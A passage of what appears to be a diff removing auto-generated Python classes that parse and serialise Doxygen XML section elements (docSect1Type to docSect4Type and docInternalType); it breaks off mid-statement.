showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSect1Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSect1Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSect1Type'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect1Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for internal_ in self.internal: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - internal_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - for sect2_ in self.sect2: - namespaceprefix_ = self.sect2_nsprefix_ + ':' if (UseCapturedNS_ and self.sect2_nsprefix_) else '' - sect2_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect2', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'title') - valuestr_ = self.gds_validate_string(valuestr_, node, 'title') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'title', valuestr_) - self.content_.append(obj_) - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'internal': - obj_ = docInternalS1Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'internal', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_internal'): - self.add_internal(obj_.value) - elif hasattr(self, 'set_internal'): - self.set_internal(obj_.value) - elif nodeName_ == 'sect2': - obj_ = docSect2Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect2', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect2'): - self.add_sect2(obj_.value) - elif hasattr(self, 'set_sect2'): - self.set_sect2(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docSect1Type - - -class docSect2Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, title=None, para=None, sect3=None, internal=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect3 is None: - self.sect3 = [] - else: - self.sect3 = sect3 - self.sect3_nsprefix_ = None - if internal is None: - self.internal = [] - else: - self.internal = internal - self.internal_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSect2Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSect2Type.subclass: - return docSect2Type.subclass(*args_, **kwargs_) - else: - return docSect2Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect3(self): - return self.sect3 - def set_sect3(self, sect3): - self.sect3 = sect3 - def add_sect3(self, value): - self.sect3.append(value) - def insert_sect3_at(self, index, value): - self.sect3.insert(index, value) - def replace_sect3_at(self, index, value): - self.sect3[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def add_internal(self, value): - self.internal.append(value) - def insert_internal_at(self, index, value): - self.internal.insert(index, value) - def replace_internal_at(self, index, value): - self.internal[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.title is not None or - self.para or - self.sect3 or - self.internal or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect2Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSect2Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSect2Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSect2Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSect2Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSect2Type'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect2Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect3_ in self.sect3: - namespaceprefix_ = self.sect3_nsprefix_ + ':' if (UseCapturedNS_ and self.sect3_nsprefix_) else '' - sect3_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect3', pretty_print=pretty_print) - for internal_ in self.internal: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - internal_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'title') - valuestr_ = self.gds_validate_string(valuestr_, node, 'title') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'title', valuestr_) - self.content_.append(obj_) - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect3': - obj_ = docSect3Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect3', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect3'): - self.add_sect3(obj_.value) - elif hasattr(self, 'set_sect3'): - self.set_sect3(obj_.value) - elif nodeName_ == 'internal': - obj_ = docInternalS2Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'internal', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_internal'): - self.add_internal(obj_.value) - elif hasattr(self, 'set_internal'): - self.set_internal(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docSect2Type - - -class docSect3Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, title=None, para=None, sect4=None, internal=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect4 is None: - self.sect4 = [] - else: - self.sect4 = sect4 - self.sect4_nsprefix_ = None - if internal is None: - self.internal = [] - else: - self.internal = internal - self.internal_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSect3Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSect3Type.subclass: - return docSect3Type.subclass(*args_, **kwargs_) - else: - return docSect3Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect4(self): - return self.sect4 - def set_sect4(self, sect4): - self.sect4 = sect4 - def add_sect4(self, value): - self.sect4.append(value) - def insert_sect4_at(self, index, value): - self.sect4.insert(index, value) - def replace_sect4_at(self, index, value): - self.sect4[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def add_internal(self, value): - self.internal.append(value) - def insert_internal_at(self, index, value): - self.internal.insert(index, value) - def replace_internal_at(self, index, value): - self.internal[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.title is not None or - self.para or - self.sect4 or - self.internal or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect3Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSect3Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSect3Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSect3Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSect3Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSect3Type'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect3Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect4_ in self.sect4: - namespaceprefix_ = self.sect4_nsprefix_ + ':' if (UseCapturedNS_ and self.sect4_nsprefix_) else '' - sect4_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='sect4', pretty_print=pretty_print) - for internal_ in self.internal: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - internal_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'title') - valuestr_ = self.gds_validate_string(valuestr_, node, 'title') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'title', valuestr_) - self.content_.append(obj_) - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'sect4': - obj_ = docSect4Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect4', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect4'): - self.add_sect4(obj_.value) - elif hasattr(self, 'set_sect4'): - self.set_sect4(obj_.value) - elif nodeName_ == 'internal': - obj_ = docInternalS3Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'internal', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_internal'): - self.add_internal(obj_.value) - elif hasattr(self, 'set_internal'): - self.set_internal(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docSect3Type - - -class docSect4Type(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, title=None, para=None, internal=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.title = title - self.title_nsprefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if internal is None: - self.internal = [] - else: - self.internal = internal - self.internal_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSect4Type) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSect4Type.subclass: - return docSect4Type.subclass(*args_, **kwargs_) - else: - return docSect4Type(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_title(self): - return self.title - def set_title(self, title): - self.title = title - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_internal(self): - return self.internal - def set_internal(self, internal): - self.internal = internal - def add_internal(self, value): - self.internal.append(value) - def insert_internal_at(self, index, value): - self.internal.insert(index, value) - def replace_internal_at(self, index, value): - self.internal[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.title is not None or - self.para or - self.internal or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect4Type', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docSect4Type') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docSect4Type': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docSect4Type') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docSect4Type', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docSect4Type'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docSect4Type', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.title is not None: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%stitle>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.title), input_name='title')), namespaceprefix_ , eol_)) - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for internal_ in self.internal: - namespaceprefix_ = self.internal_nsprefix_ + ':' if (UseCapturedNS_ and self.internal_nsprefix_) else '' - internal_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='internal', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'title' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'title') - valuestr_ = self.gds_validate_string(valuestr_, node, 'title') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'title', valuestr_) - self.content_.append(obj_) - self.title_nsprefix_ = child_.prefix - elif nodeName_ == 'para': - obj_ = docParaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'para', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_para'): - self.add_para(obj_.value) - elif hasattr(self, 'set_para'): - self.set_para(obj_.value) - elif nodeName_ == 'internal': - obj_ = docInternalS4Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'internal', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_internal'): - self.add_internal(obj_.value) - elif hasattr(self, 'set_internal'): - self.set_internal(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docSect4Type - - -class docInternalType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, para=None, sect1=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if para is None: - self.para = [] - else: - self.para = para - self.para_nsprefix_ = None - if sect1 is None: - self.sect1 = [] - else: - self.sect1 = sect1 - self.sect1_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docInternalType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docInternalType.subclass: - return docInternalType.subclass(*args_, **kwargs_) - else: - return docInternalType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_para(self): - return self.para - def set_para(self, para): - self.para = para - def add_para(self, value): - self.para.append(value) - def insert_para_at(self, index, value): - self.para.insert(index, value) - def replace_para_at(self, index, value): - self.para[index] = value - def get_sect1(self): - return self.sect1 - def set_sect1(self, sect1): - self.sect1 = sect1 - def add_sect1(self, value): - self.sect1.append(value) - def insert_sect1_at(self, index, value): - self.sect1.insert(index, value) - def replace_sect1_at(self, index, value): - self.sect1[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.para or - self.sect1 or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docInternalType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docInternalType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docInternalType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docInternalType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docInternalType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docInternalType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for para_ in self.para: - namespaceprefix_ = self.para_nsprefix_ + ':' if (UseCapturedNS_ and self.para_nsprefix_) else '' - para_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='para', pretty_print=pretty_print) - for sect1_ in self.sect1: - namespaceprefix_ = self.sect1_nsprefix_ + ':' if (UseCapturedNS_ and self.sect1_nsprefix_) else '' - sect1_.export(outfile, level, 